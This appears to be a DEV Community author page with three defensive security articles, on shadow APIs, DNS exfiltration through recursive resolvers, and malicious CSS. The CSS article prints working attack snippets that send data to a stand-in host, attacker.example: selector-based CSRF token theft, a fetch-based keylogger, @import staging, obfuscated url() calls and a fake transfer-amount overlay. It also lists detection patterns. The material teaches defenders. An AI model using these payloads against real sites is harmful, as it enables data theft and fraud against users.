DEV Community: Njenga Ng'ang'a

Shadow APIs: Uncovering Unmonitored Endpoints in Microservice Architectures

Njenga Ng'ang'a — Wed, 16 Sep 2026 08:57:02 +0000

Shadow APIs often appear not through malice, but through routine delivery pressure: a service team ships an endpoint, another service starts calling it, and no gateway, inventory, or security control ever records that it exists.

What Makes an API “Shadow”

A shadow API is an endpoint that is reachable but absent from the organization’s approved API inventory, monitoring plan, documentation, or security review process.

It may be internal, external, temporary, deprecated, or accidentally exposed.

In microservice architectures, shadow APIs commonly include:
• Internal REST endpoints bypassing the API gateway
• gRPC methods missing from service catalogs
• Debug or admin routes left enabled after testing
• Older API versions still serving traffic
• Kubernetes services exposed through misconfigured ingress rules
• Lambda or cloud function URLs created outside standard deployment templates
• Partner endpoints documented in a ticket but never registered centrally

The key issue is not merely that the endpoint exists. The issue is that security, operations, and platform teams cannot reason about something they cannot see.

A public /api/v1/users/export endpoint with strong authentication, logging, schema validation, rate limits, and ownership metadata is manageable.

A private /internal/exportUsers endpoint accepting the same data but bypassing all controls is a material risk.

Why Microservices Create Shadow APIs

Microservices distribute ownership. That is useful for delivery speed, but it also fragments API control.

A monolith may expose a few route files and a single edge tier. A microservice estate may include hundreds of services, each with independent frameworks, deployment pipelines, sidecars, ingress objects, service discovery entries, and cloud permissions.

Shadow APIs emerge from several recurring patterns.

Direct Service-to-Service Calls

A team may expose an endpoint intended only for another internal service:
POST http://invoice-service.default.svc.cluster.local/recalculate

The endpoint works inside the cluster, so it never passes through the public API gateway.

Six months later, five services depend on it. No OpenAPI document exists. No one knows whether it accepts customer identifiers, payment data, or elevated operations.

Internal APIs still need governance. An attacker who reaches the cluster network through SSRF, compromised credentials, or workload takeover can use those routes laterally.

Temporary Endpoints That Become Permanent

A migration team adds:
POST /admin/backfill-customer-status

The route is meant for a two-week database correction. It accepts a list of customer IDs and updates account state. The sprint ends. The endpoint remains.

Temporary routes are especially risky because engineers often exempt them from normal controls to finish operational work. They may lack pagination, input validation, authorization checks, or rate limits.

Version Drift

An organization may publish /v3/orders but keep /v1/orders alive because a mobile app or partner integration still depends on it. Over time, the old version falls out of testing and monitoring.

Attackers like old APIs because they often contain older assumptions:
• Weak authorization rules
• Missing object-level checks
• More verbose error messages
• Older serializers
• Deprecated authentication mechanisms
• Business logic no longer reviewed by service owners

An endpoint does not become safe because it is undocumented. It becomes harder to defend.

Framework Defaults and Debug Routes

Modern frameworks often expose operational endpoints:
• Spring Boot Actuator: /actuator/env, /actuator/heapdump
• Express debug middleware
• Django admin panels
• Rails routes mounted for development
• Prometheus metrics endpoints
• Swagger UI and OpenAPI JSON documents

Some are safe when properly configured. Others leak environment variables, memory snapshots, build data, dependency versions, or internal URLs.

A common failure is enabling a broad actuator path during a performance incident and forgetting to lock it down afterward.

The Security Impact

Shadow APIs increase risk across three dimensions: exposure, privilege, and blind spots.

1. Broken Object-Level Authorization
OWASP API Security Top 10 repeatedly highlights broken object-level authorization. Shadow endpoints are prime candidates because they often skip shared authorization middleware.

Example:
GET /internal/customer/83922
Authorization: Bearer

If the endpoint checks only that the token is valid, not whether the caller can access customer 83922, it becomes a data exposure path.

Public endpoints may enforce tenant isolation, but internal endpoints sometimes trust that callers are “already inside.”

That assumption fails in Kubernetes clusters, flat VPCs, and overly broad service accounts.

2. Excessive Data Exposure
Shadow APIs may return fields never intended for consumers:
{
"id": "83922",
"email": "customer@example.com",
"passwordHash": "$2a$10$...",
"riskScore": 82,
"internalNotes": "Chargeback risk",
"ssnLast4": "1844"
}

Even if the route is not advertised, it may be discoverable through traffic inspection, JavaScript bundles, mobile app decompilation, logs, error messages, or DNS records.

3. Monitoring Gaps
If traffic bypasses the gateway, key controls disappear:
• Central request logging
• WAF rules
• API schema validation
• Bot detection
• Rate limiting
• Threat detection
• Standard authentication middleware
• Data loss monitoring

A shadow endpoint can receive malicious traffic for weeks without appearing in dashboards. The first visible sign may be fraud, account takeover, database load, or customer reports.

Where to Look for Shadow APIs

API discovery must pull from runtime, build-time, and configuration sources. No single data source is sufficient.

1. Gateway and Ingress Configuration
Start with what is officially exposed:
• NGINX ingress rules
• AWS API Gateway routes
• Azure API Management APIs
• Kong, Apigee, or Envoy configurations
• Istio VirtualService and Gateway resources
• Traefik routers
• Cloud load balancer listener rules

Compare those routes against service repositories and observed traffic. Any endpoint seen in traffic but absent from the gateway inventory deserves review.

Any endpoint defined in code but not reachable may still matter if a future ingress change exposes it.

2. Kubernetes Service Discovery
Kubernetes makes internal reachability easy. That convenience can hide sensitive APIs.
Useful commands include:
kubectl get svc -A
kubectl get ingress -A
kubectl get endpoints -A
kubectl get httproute -A
kubectl get virtualservice -A

Look for services with names such as admin, debug, internal, migration, backfill, tools, or ops. Naming is not proof, but it gives analysts a starting point.

Also inspect annotations. Cloud controller annotations can silently create external load balancers:
service.beta.kubernetes.io/aws-load-balancer-internal: "false"

A single boolean can turn an internal tool into an internet-facing service.

3. Runtime Traffic
Observed traffic is the strongest evidence that an endpoint matters.
Sources include:
• Envoy or service mesh access logs
• eBPF network telemetry
• VPC Flow Logs plus Layer 7 enrichment
• NGINX ingress logs
• Application logs
• API gateway access logs
• OpenTelemetry traces
• Packet captures in controlled environments

For HTTP APIs, collect method, host, path template, status code, caller identity, target service, authentication state, and response size. For gRPC, capture service and method names such as:
payments.AuthorizationService/CreateHold

Path normalization is critical. Without it, /users/123, /users/456, and /users/789 look like separate endpoints. A discovery system should collapse them into /users/{id} where possible.

4. Source Code and Route Extraction
Static analysis can reveal routes before deployment.
Examples:
Express:
router.post('/admin/reindex', requireAdmin, reindexHandler)
Spring:
@PostMapping("/customers/{id}/status")
FastAPI:
@app.get("/internal/risk/{customer_id}")
ASP.NET:
[HttpPost("accounts/{id}/freeze")]

The discovery process should extract method, path, file owner, repository, authentication middleware, and deployment target. Pairing this with runtime traffic shows whether a route is dead, active, internal-only, or newly exposed.

OpenAPI, Protobuf, and AsyncAPI Specifications

Contract files are useful, but they are often incomplete. Treat them as one evidence source, not the source of truth.

For REST, compare observed routes to OpenAPI paths. For gRPC, compare traffic and server reflection output to protobuf definitions. For event-driven APIs, inspect AsyncAPI specs, Kafka topic usage, schema registry subjects, and consumer groups.

A missing contract does not automatically mean the API is dangerous, but it does mean no one has formally described its behaviour.

Building a Shadow API Detection Program

The best programs combine automated discovery with ownership and remediation workflows.
1. Establish a Canonical API Inventory
Every endpoint should map to a record containing:
• Service name
• Owning team
• Repository
• Runtime environment
• Protocol: HTTP, gRPC, GraphQL, WebSocket
• Exposure: public, partner, internal, cluster-only
• Authentication method
• Authorization model
• Data classification
• Current version
• Deprecation date, if applicable
• Last observed traffic
• Contract location
• Logging and rate-limit status

This inventory should be generated as much as possible. Manual spreadsheets decay quickly.

A practical approach is to feed a central catalog from CI pipelines, Kubernetes admission controllers, gateway configs, and runtime telemetry.

Backstage can serve as a front end for ownership and documentation, but it needs automated inputs to stay accurate.

2. Detect Drift Continuously
Run drift checks on every deployment:

Extract routes from the build artifact or source tree.
Compare them with approved API contracts.
Inspect Kubernetes and gateway changes.
Flag new externally reachable paths.
Require owner approval for sensitive methods such as POST, PUT, PATCH, and DELETE.
Block deployments that expose admin routes without explicit policy exceptions.

This can be enforced through CI checks, Open Policy Agent, Conftest, Kyverno, or admission webhooks.

Example policy logic:
deny[msg] {
input.kind == "Ingress"
contains(input.spec.rules[].http.paths[].path, "/admin")
not input.metadata.annotations["security-approved"]
msg := "Admin path exposed without security approval"
}

Policy should prevent obvious mistakes without turning platform teams into ticket routers for every harmless change.

3. Classify Endpoints by Risk
Not all unknown APIs carry the same urgency. Risk scoring helps teams act.

High-risk indicators include:
• Internet exposure
• No authentication
• Admin verbs or privileged operations
• Access to personal, payment, health, or credentials data
• Deprecated versions receiving traffic
• Missing owner
• Large response bodies
• Abnormal error rates
• No rate limiting
• Use by unrecognized clients
• Write operations from outside the expected network segment

A newly discovered internal health endpoint is not the same as an unauthenticated /export route exposed through a load balancer. Triage should reflect that.

Hardening Shadow APIs After Discovery

Discovery is only useful if it changes system behaviour.

A. Remove or Retire
If an endpoint is unused, remove it. If it still receives traffic, identify callers through logs or traces and plan a migration. Set a removal date and monitor residual usage.

Deprecated APIs need explicit shutdown mechanics:
• Response headers announcing deprecation
• Client owner notifications
• Dashboards showing caller traffic
• Brownout windows
• Final removal tickets tied to release plans

Old endpoints survive because removal is more expensive than neglect. Make removal routine.

B. Put Internal APIs Under Zero-Trust Controls
Internal does not mean trusted. Service-to-service APIs should use strong workload identity, usually through mTLS with SPIFFE IDs, service mesh identity, or cloud-native workload identity.

Authorization should answer two questions:

Who is calling?
Is this caller allowed to perform this action on this object?

A policy such as “any pod in the namespace can call billing” is too broad for sensitive operations. Prefer explicit service identities:
allow inventory-service to call billing-service:GetInvoice
deny all other services

C. Standardize Middleware
Every service should use shared libraries or sidecar policies for:
• Authentication
• Authorization hooks
• Request validation
• Structured logging
• Correlation IDs
• Rate limiting
• Error handling
• Security headers where applicable

The goal is not uniform language or framework choice. The goal is consistent control behaviour across services.

D. Monitor Unknowns as First-Class Signals
Create alerts for:
• New path observed in production
• New external route
• Traffic to deprecated API versions
• Unauthenticated requests to non-health endpoints
• Internal endpoint called from unexpected workload
• Sensitive endpoint with sudden response size increase
• gRPC method observed without matching protobuf contract

These signals should flow to the owning team with enough context to act: sample timestamps, source workloads, destination service, path template, deployment version, and related pull requests.

A Practical 30-Day Plan

A focused first pass can produce results quickly.

Days 1–5: collect API gateway, ingress, service mesh, and Kubernetes service data. Build a rough inventory with ownership from repository metadata and deployment labels.

Days 6–10: enable or aggregate Layer 7 access logs for the highest-risk environments. Normalize routes and identify endpoints seen in traffic but absent from documented contracts.

Days 11–15: scan source repositories for route declarations. Compare code-defined routes with observed routes and published OpenAPI or protobuf specs.

Days 16–20: triage the top 25 unknown endpoints by exposure and data sensitivity. Remove dead admin routes. Add authentication to any unauthenticated sensitive path.

Days 21–25: add CI checks for newly introduced routes and ingress changes. Require contract updates for public and partner APIs.

Days 26–30: publish the inventory in a service catalog, assign owners, and create alerts for new production endpoints.

The first month should not aim for perfect coverage. It should convert invisible risk into named work owned by specific teams.

The Engineering Principle

Shadow APIs are a control-plane failure. They show that the organization can deploy network-reachable behaviour faster than it can inventory, govern, and observe it.

The fix is not a one-time scan. It is a feedback loop: extract routes before deployment, observe traffic during runtime, compare both against approved contracts, and make ownership visible.

A microservice architecture can tolerate rapid change if every new endpoint leaves a trace in the catalog, the logs, the policy engine, and the team’s review process. The next API shipped on Friday afternoon should be visible before Monday morning traffic reaches it.

THE DARK SIDE OF DNS: WEAPONIZING RECURSIVE RESOLVERS FOR STEALTH DATA EXFILTRATION

Njenga Ng'ang'a — Wed, 09 Sep 2026 14:54:06 +0000

Recursive DNS resolvers can turn a routine name-lookup service into a quiet exfiltration relay, carrying encoded data through infrastructure most organizations allow by default.

DNS is trusted because it is necessary. Workstations need it. Servers need it. Cloud workloads need it. Security tools depend on it. Blocking DNS outright breaks the network, so many environments treat resolver traffic as background noise: high-volume, low-interest, and too operationally sensitive to inspect aggressively.

That trust creates an opening. An attacker who can cause a compromised host to issue DNS queries can move data outward without opening an obvious TCP session to an unknown server, uploading a file, or triggering conventional data-loss prevention controls.

The recursive resolver becomes the middleman. It accepts the query, performs the lookup, and forwards the request through the DNS hierarchy until it reaches an authoritative server controlled by the attacker.
The data is not in the answer. It is often in the question.

How Recursive Resolution Becomes an Exfiltration Channel

A recursive resolver accepts a query from a client, finds the answer by querying other DNS servers, caches the result, and returns the response.

In a typical enterprise, endpoints send DNS queries to internal resolvers. Those resolvers then communicate with root servers, top-level domain servers, and authoritative name servers.

Attackers abuse that chain by registering or compromising a domain they control, then causing infected systems to generate lookups under that domain. Sensitive data is encoded into subdomain labels:
encoded-data.chunk-id.session-id.attacker-domain.example

The endpoint asks its configured recursive resolver to resolve the name. The resolver does what it was built to do: it forwards the query. Eventually, the full query name reaches the attacker’s authoritative DNS server, where the encoded labels can be logged and reconstructed.

No direct connection from the victim host to the attacker’s web server is required. From the endpoint’s perspective, it only contacted a DNS resolver it may already be allowed to use. From the attacker’s perspective, the inbound query may appear to come from the victim organization’s resolver, a public resolver, or a chain of forwarding resolvers rather than the original machine.

That separation is what makes recursive resolvers useful for stealth.

Why DNS Is Attractive for Data Theft

DNS has several properties that make it appealing to attackers.
First, it is almost always permitted. Even restrictive networks usually allow DNS traffic to approved resolvers. Some environments also allow outbound UDP/53 or TCP/53 to the internet, either by design or by accident.

Second, DNS is noisy. Large organizations generate enormous volumes of lookups from browsers, software updaters, telemetry agents, package managers, endpoint protection tools, and cloud services. Malicious queries can hide among millions of benign requests.

Third, DNS names are flexible. Each label can contain up to 63 octets, and a full domain name can reach 253 octets in presentation form. That creates room to embed chunks of encoded data. Attackers often use encodings that survive DNS label restrictions, such as base32-like alphabets or custom character sets.

Fourth, DNS traffic is frequently logged incompletely. Many teams log firewall flows but not full query names. Others keep resolver logs for only a short period because the volume is high. Without the query name, exfiltration through DNS is difficult to reconstruct.

Fifth, recursive infrastructure can obscure attribution. The attacker-controlled authoritative server may only see the recursive resolver’s source IP. If the victim uses a public resolver, the attacker may see traffic from shared infrastructure used by many customers.

The Role of Caching

Caching is central to DNS performance, but attackers need to work around it.

If many clients request the same name, a recursive resolver can answer from cache and avoid contacting the authoritative server again until the time-to-live expires. For exfiltration, that is a problem: the attacker needs each payload-bearing query to reach the authoritative server.

The usual answer is uniqueness. Each query name contains a fresh chunk identifier, session value, counter, nonce, or encoded data block that prevents cache hits. That can produce a recognizable pattern: many unique subdomains under a single parent domain, often with low or no meaningful repetition.

For defenders, this is valuable. High-cardinality subdomain activity is one of the strongest indicators of DNS-based exfiltration. A normal domain may receive repeated queries for names such as www, api, cdn, or region-specific hosts. An exfiltration domain may receive thousands of never-before-seen labels that look random.

Caching can also create blind spots. If a resolver answers repeated control queries from cache, an endpoint’s DNS activity may not be visible upstream. Local resolver logs remain essential.

Recursive Resolvers as Stealth Multipliers
The recursive resolver is not merely a passive transport. Its placement can make the attack harder to see.
Enterprise Recursive Resolvers
In many organizations, endpoints are forced to use internal resolvers. That sounds safer, and it usually is. It gives defenders a central inspection point. But if those resolvers are not monitored for unusual query patterns, they can become sanctioned exfiltration relays.

From a firewall perspective, only the resolver is communicating externally. The compromised workstation may never make a direct outbound connection to the attacker’s infrastructure.

Public Recursive Resolvers Public resolvers such as Google Public DNS, Cloudflare DNS, Quad9, and ISP-provided resolvers are widely used. Attackers may configure malware to use public resolvers to bypass internal visibility, especially if outbound DNS is not restricted.

Encrypted DNS adds another layer. DNS over HTTPS and DNS over TLS can prevent middleboxes from inspecting query names unless traffic is forced through managed resolvers or intercepted under enterprise policy. A compromised host using an unmanaged DoH endpoint may blend DNS exfiltration with ordinary HTTPS traffic.

Open Recursive Resolvers Open recursive resolvers exposed to the internet remain a security problem. They are often discussed in the context of amplification attacks, but they can also help obscure traffic paths. An attacker can route queries through third-party recursive servers so the authoritative side sees resolver addresses unrelated to the originating victim.

Organizations should not run open resolvers unless they are intentionally operating public DNS infrastructure with abuse controls, rate limits, and monitoring.

Common Exfiltration Patterns

DNS exfiltration tends to leave behavioral fingerprints.

A. Long, High-Entropy Query Names
Encoded payloads often look random:
mfrggzdfmztwq2lk.mjqxgzjanrxw4z3f.example.net

Benign services also generate long names, especially content delivery networks, tracking systems, anti-abuse platforms, and cloud tools.

Entropy alone is not enough. It becomes more useful when combined with other signals: unusual parent domain, repeated long labels, high uniqueness, and consistent query timing.

B. Many NXDOMAIN Responses
Some exfiltration schemes do not require valid DNS answers. The attacker only needs to receive the query at the authoritative server. The response may be NXDOMAIN, NODATA, or a minimal record.
A high NXDOMAIN ratio from one host or toward one domain can indicate tunnelling or exfiltration. Care is needed, because broken software, typo-heavy browsing, and internal search suffix behaviour can also generate NXDOMAIN noise.

C. Low-Volume, Long-Duration Transfer
Not every DNS exfiltration attempt is loud. A patient attacker may send small chunks over hours or days, staying below simple rate thresholds. For example, a few hundred bytes per minute can be enough to leak API tokens, SSH keys, browser session cookies, configuration files, or selected database records.

This matters because DNS exfiltration is rarely used to move a 20 GB archive. It is more often used for high-value secrets that are small enough to hide.

D. TXT, NULL, and Unusual Record Types
Many attacks use ordinary A or AAAA queries because they look common. Others use TXT queries because TXT records can carry flexible data in responses, which is useful for command-and-control. Rare record types can stand out in enterprise telemetry.

A sudden increase in TXT queries from endpoints that normally issue mostly A, AAAA, CNAME, and SRV lookups deserves attention.

E. Detection Requires Resolver-Level Visibility
Firewall metadata alone is usually insufficient. Defenders need access to the DNS query name, query type, response code, client IP, resolver identity, timestamp, and ideally the resolved answer.
Strong DNS monitoring programs collect logs from recursive resolvers and normalize them into a searchable platform. Useful detections include:
• Unusually long fully qualified domain names
• Labels near the 63-octet limit
• High entropy labels under the same registered domain
• High volume of unique subdomains
• Excessive NXDOMAIN or NODATA responses
• Repeated queries to newly registered domains
• DNS traffic to external resolvers from non-resolver hosts
• DoH or DoT connections to unapproved providers
• Query patterns with fixed intervals or chunk-like counters
• Domains with low reputation, recent creation dates, or suspicious name server infrastructure

Passive DNS and threat intelligence can help, but local baselines matter more. A software build server, a browser-heavy workstation, and a domain controller will not have the same DNS profile.

F. Defensive Controls That Actually Reduce Risk
DNS exfiltration cannot be solved by one product. It requires control over where DNS goes, what gets logged, and how anomalies are handled.

G. Force DNS Through Managed Resolvers
Endpoints should not be able to send arbitrary DNS traffic to the internet. Block outbound UDP/53 and TCP/53 from all systems except approved recursive resolvers. Apply the same principle to IPv6, which is often forgotten.

For encrypted DNS, block or control unmanaged DoH and DoT. Browsers and operating systems increasingly support encrypted DNS directly, so policy enforcement must account for application-level behaviour, not only network ports.

H. Monitor the Resolvers, Not Just the Perimeter
Recursive resolvers are the best vantage point for detecting DNS exfiltration inside an enterprise. Enable detailed query logging where feasible. If full logging is too expensive, sample intelligently and preserve high-risk fields such as client address, query name, query type, and response code.

Retention matters. A week of DNS logs may not be enough for incident response, especially if the theft was slow.

I. Use Response Policy Zones and Domain Controls
Response Policy Zones can block or redirect queries for known malicious domains, newly observed domains, or categories that do not belong in the environment. This is useful against commodity tooling and known infrastructure.

Do not rely only on blocklists. Custom attacker domains may have no reputation history. Behavioral analytics are still required.

J. Close Open Recursion
Authoritative DNS servers should not provide recursion to the internet. Recursive DNS servers should restrict service to authorized networks. This is basic hygiene, but misconfigurations persist in cloud deployments, lab environments, mergers, and forgotten appliances.

K. Inspect Cloud and Container DNS Paths
Kubernetes clusters, serverless workloads, and cloud VPCs introduce additional resolver paths. A pod may query CoreDNS, which forwards to a cloud resolver, which then resolves externally. Logs may be split across layers.

Attackers who compromise cloud workloads can abuse these paths just as they would an endpoint resolver. Cloud DNS query logging should be enabled for sensitive accounts and production networks.

DNSSEC and QNAME Minimization Are Not Complete Answers

DNSSEC authenticates DNS data. It does not stop a compromised host from placing encoded data inside a query name. Signed zones can still receive maliciously crafted queries.

QNAME minimization reduces unnecessary disclosure to intermediate DNS servers by sending only the needed portion of a query during iterative resolution. That is good for privacy. It does not prevent the full query name from reaching the authoritative server responsible for the attacker-controlled domain. The payload still arrives where the attacker needs it.

Security controls must be aligned with the abuse pattern. DNS exfiltration abuses query generation and recursive forwarding, not merely spoofed responses or unsigned records.

Incident Response: What to Preserve

If DNS exfiltration is suspected, preserve resolver logs quickly. Also collect endpoint DNS cache data, process telemetry, EDR events, proxy logs, firewall flows, and any evidence of direct resolver configuration changes.

Key questions include:
• Which internal hosts generated the suspicious queries?
• Which parent domains received the highest number of unique subdomains?
• Did queries use approved resolvers or bypass controls?
• What query types and response codes were involved?
• Were the domains newly registered or hosted on unusual name servers?
• Do the encoded labels share chunk counters, timestamps, or session identifiers?
• What sensitive files, tokens, or credentials were accessible to the host?

Containment should include blocking the domain, isolating affected hosts, rotating exposed credentials, and reviewing adjacent systems. If the payload can be reconstructed from logs, treat it as confirmed data exposure.

The Practical Standard

DNS is not just plumbing. It is a data path with reach, trust, and weak inspection in many networks. Recursive resolvers are especially powerful because they sit between nearly every internal system and the public naming hierarchy.

The practical standard is straightforward: force DNS to approved resolvers, log enough to reconstruct abuse, detect high-entropy and high-cardinality query behaviour, control encrypted DNS, and treat resolver infrastructure as a security boundary. Attackers already understand that DNS is allowed almost everywhere. Defenders need to make that permission conditional, observable, and revocable.

THE WIERD AND WONDERFUL WOLRD OF MALICIOUS CODE HIDDEN IN CSS

Njenga Ng'ang'a — Mon, 07 Sep 2026 16:10:38 +0000

CSS can leak secrets, track users, trigger network requests, fingerprint devices, and turn a harmless-looking stylesheet into an active part of an attack chain.

JavaScript gets most of the blame for browser-side compromise, but CSS has a quieter kind of power. It cannot open a socket, read arbitrary files, or loop through memory. It can, however, observe document structure, react to attribute values, load remote resources, alter rendering, and exploit differences between browsers, fonts, media features, and user state.

That is enough to cause trouble.
A malicious stylesheet often looks boring. It may contain normal selectors, brand colors, responsive rules, and a few suspicious url() values buried among hundreds of declarations.

The code does not announce itself. It waits for the browser’s rendering engine to do what CSS was designed to do: match selectors and fetch assets.

Why CSS Can Be Dangerous

**
CSS was built to describe presentation, but modern presentation is interactive and conditional.

A stylesheet can ask questions about the page and the user’s environment:

@media (prefers-color-scheme: dark) { ... }
@media (min-width: 1200px) { ... }
@supports (display: grid) { ... }
input[value^="a"] { ... }
It can also force network requests:
body {
background-image: url("https://attacker.example/pixel");
}

Those two abilities, conditional matching and remote fetching, create the core primitive behind many CSS attacks.

If a rule matches, the browser may request a resource. If it does not match, no request happens. To an attacker watching server logs, that difference is data.

CSS is not “code execution” in the classic sense, but it is still programmable behaviour. Selectors act as conditions and URL loads act as outputs. The DOM becomes input.

CSS Exfiltration with Attribute Selectors

**
The most famous CSS attack class is data exfiltration through selectors.

Suppose an attacker can inject CSS into a page that contains a secret token in an HTML attribute:

CSS attribute selectors can test that value:
input[name="csrf"][value^="a"] {
background-image: url("https://attacker.example/leak/a");
}

input[name="csrf"][value^="b"] {
background-image: url("https://attacker.example/leak/b");
}

If the token begins with a, the first rule matches and the browser requests:
https://attacker.example/leak/a

The attacker learns the first character. More rules can test the next prefix:
input[name="csrf"][value^="a0"] { background: url("/leak/a0"); }
input[name="csrf"][value^="a1"] { background: url("/leak/a1"); }
input[name="csrf"][value^="a2"] { background: url("/leak/a2"); }

With enough requests, a secret can be reconstructed character by character.

This is noisy but practical in some conditions. It works best when:
• Sensitive values are present in DOM attributes.
• The attacker can inject arbitrary CSS.
• The page allows external image, font, or import requests.
• The secret alphabet is small or predictable.
• The attacker can update styles over multiple rounds.

Modern applications often place CSRF tokens, API keys, user IDs, state parameters, feature flags, and internal metadata in HTML.

If that data is exposed to selectors, CSS can become a read side channel.

Reading Form Values Is Harder Than Reading Attributes
There is a key limitation: CSS selectors generally match attributes, not live property values.

This matters for forms. If a user types into:

CSS cannot normally select based on the current typed value. This selector tests an HTML attribute, not the live password field content:
input[name="password"][value^="s"] { ... }

If the value attribute was not written into the markup, the rule does not reveal what the user typed.

Attackers still look for ways around this. Some frameworks mirror state into attributes. Some components write user input into data-* attributes for styling.

Some password managers or custom UI controls create DOM (Document Object Model) nodes containing copied values. Any of those can reintroduce risk.

The safe rule is simple: do not put secrets into attributes if untrusted CSS can reach the document.

Keylogging with CSS Animations and Events

**
Pure CSS cannot send events to a server on each keystroke. CSS plus JavaScript can.

A historical trick used CSS animations to detect selector matches. The stylesheet defines animations for specific input states, and JavaScript listens for animationstart events:

input[value^="a"] {
animation-name: leak-a;
animation-duration: 1ms;
}

@keyframes leak-a {
from { opacity: 0.99; }
to { opacity: 1; }
}
document.addEventListener("animationstart", event => {
fetch("https://attacker.example/key/" + event.animationName);
});

This technique depends on JavaScript being available, so it is not “CSS-only” theft. Still, it shows how CSS can operate as the sensor while JavaScript acts as the transmitter.

The dangerous pattern is not the animation itself. The issue is untrusted CSS being allowed to influence a page that also runs script in the same origin.

@import as a Staging Mechanism

**
A malicious stylesheet does not need to contain the full payload. It can load another stylesheet:

@import url("https://attacker.example/stage-1.css");
That imported file can import another:
@import url("https://attacker.example/stage-2.css");

This gives an attacker flexibility. The initial injected CSS can be small enough to hide in a profile field, theme setting, CMS block, Markdown extension, or compromised dependency. The remote file can change later without modifying the victim site again.

@import is also useful for multi-round exfiltration. The attacker serves CSS based on previous requests.

If the browser requests /leak/a, the next imported stylesheet can test a0, a1, a2, and so on.
Defenders should treat external CSS loading as an outbound communication channel, not only as a styling feature.

Fonts as Tracking and Fingerprinting Tools

**
Fonts are another underappreciated CSS channel.
A stylesheet can load remote fonts:

@font-face {
font-family: "TrackedFont";
src: url("https://attacker.example/font.woff2") format("woff2");
}

body {
font-family: "TrackedFont", sans-serif;
}

That request reveals IP address, user agent, referrer behaviour, and timing. If the URL contains a unique identifier, it becomes a tracking pixel dressed as typography:

src: url("https://attacker.example/fonts/user-8f14e45f.woff2");

Fonts can also participate in side channels. Different glyph widths can change layout. Layout changes can cause or suppress other resource loads.

Researchers have used font metrics, ligatures, scrollbars, and overflow behaviour in browser side-channel attacks.

Most production attacks do not need that level of sophistication. A unique remote font URL is often enough.

CSS and Browser History Sniffing

**
Browser history sniffing through CSS was once a serious problem.

The old technique abused :visited styling:
a:visited {
color: red;
}

Scripts could inspect computed styles and infer which links a user had visited. Browsers fixed this class of attack by heavily restricting what styles apply to :visited and lying to scripts about computed values.

The lesson remains useful: CSS can expose private user state if rendering differences are observable.

Modern browsers still permit limited :visited styling, but they block high-risk properties such as background images and layout-affecting changes. A visited link should not be able to trigger a remote request.

Security fixes in CSS often work this way. They do not remove the feature. They reduce observability.

CSS Injection Is Not XSS, but It Still Matters

**
Many teams treat CSS injection as a low-severity bug because it does not directly run JavaScript. That assumption misses several real risks.
A CSS injection bug can:
• Exfiltrate DOM attributes.
• Track page views through external URLs.
• Change page content visually.
• Hide security warnings or consent controls.
• Overlay fake interface elements.
• Break layouts in ways that cause user mistakes.
• Import attacker-controlled stylesheets.
• Combine with script gadgets already present on the page.

Consider a banking page where an attacker can inject this rule:
.confirm-transfer .amount {
color: transparent;
}

.confirm-transfer .amount::after {
content: "$10.00";
color: black;
}

The DOM still contains the real amount, perhaps $10,000.00, but the user sees $10.00. CSS can lie.
Pseudo-elements make this worse:
button.pay::after {
content: "Cancel";
}

A stylesheet can change perceived meaning without changing HTML. That can support phishing, fraud, or social engineering inside a trusted origin.

Hiding Payloads in Plain Sight
Malicious CSS can be obfuscated without looking like traditional malware.

Common hiding places include:
• Data URLs
background-image: url("data:image/svg+xml,%3Csvg%20...");
Data URLs can contain encoded SVG. SVG can be complex, and historically browser differences around SVG, scripting, and external references have created security surprises.

• Unicode Escapes
body {
background: u\72l("https://attacker.example/pixel");
}
CSS escaping rules can make obvious tokens harder to grep.
• Custom Properties
:root {
--x: url("https://attacker.example/a");
}

.card {
background-image: var(--x);
}
The dangerous value may be defined far from where it is used.

• Comment Noise
.b/x/o/x/d/x/y {
background: url("https://attacker.example/p");
}
CSS parsers are forgiving. Reviewers are tired. That combination helps attackers.

• Minification
A single-line stylesheet with 80,000 characters is hard to inspect manually. Malicious rules can hide among framework output, icon fonts, reset styles, and generated utility classes.

Supply Chain Attacks Through Stylesheets

**
CSS often arrives through third parties:
• NPM packages.
• CDN-hosted frameworks.
• WordPress themes.
• Shopify apps.
• Browser extensions.
• Design systems.
• Analytics tags that inject style blocks.
• Ad tech scripts that add CSS dynamically.

A compromised stylesheet can affect every page that imports it. The attacker may not need JavaScript if the target pages expose useful attributes or allow remote asset loading.

This is why Subresource Integrity matters for static third-party CSS:
rel="stylesheet"
href="https://cdn.example.com/ui.css"
integrity="sha384-..."
crossorigin="anonymous">

SRI (Subresource Integrity) prevents silent modification of a referenced file, but it only works when the file is expected to remain unchanged.

It is less useful for versionless CDN URLs such as:

Pin versions. Pin hashes. Avoid latest.

Content Security Policy for CSS Risk Reduction

**
Content Security Policy can sharply reduce CSS abuse if configured carefully.

A basic policy might look like this:
Content-Security-Policy:
default-src 'self';
style-src 'self';
img-src 'self' https://images.example.com;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';

The details matter. If style-src allows arbitrary external hosts, injected CSS can import attacker stylesheets.

If img-src allows *, malicious CSS can exfiltrate through background images. If font-src allows any host, fonts can become tracking endpoints.

Many applications accidentally permit exfiltration through broad image rules:
img-src * data:;

That may be convenient for user-generated content, but it gives CSS a wide output channel.

A stricter policy separates trusted asset hosts from arbitrary URLs. If users need to embed images, proxy them through a controlled domain and sanitize MIME types.

Also avoid inline styles where possible:
style-src 'self' 'nonce-randomValue';

Nonces can permit known-good inline styles while blocking injected ones. Hashes can work for static inline blocks.

Sanitizing CSS Is Difficult

**
HTML sanitization is hard. CSS sanitization is worse than many teams expect.

A sanitizer must understand:
• Selector syntax.
• Escapes.
• url() forms.
• @import.
• @font-face.
• Custom properties.
• Browser-specific parsing quirks.
• SVG references.
• Data URLs.
• Nested functions.
• Comments and malformed declarations.

Regular expressions are not enough.
If users need custom styling, constrain the feature. Instead of accepting raw CSS, provide structured options:
{
"themeColor": "#2364d2",
"fontScale": 1.1,
"compactMode": true
}

Then generate CSS server-side from validated values.
If raw CSS is unavoidable, use a real parser and an allowlist. Permit only safe properties and safe value types. Strip all URLs unless there is a compelling need. Block @import, @font-face, external references, and complex selectors that can inspect sensitive attributes.

A safe subset is much smaller than most people think.

Practical Detection Clues

**
Malicious CSS often leaves traces. Look for:
• External url() calls to unfamiliar domains.
• @import rules outside approved sources.
• Attribute selectors targeting value, data-token, csrf, auth, secret, email, or session.
• Large groups of prefix selectors such as [value^="a"], [value^="b"].
• Remote fonts with unique IDs in paths.
• Data URLs containing SVG.
• Custom properties that wrap URLs.
• CSS files that change frequently without release notes.
• Inline style blocks in user-generated content.
• Stylesheets served from mutable URLs.

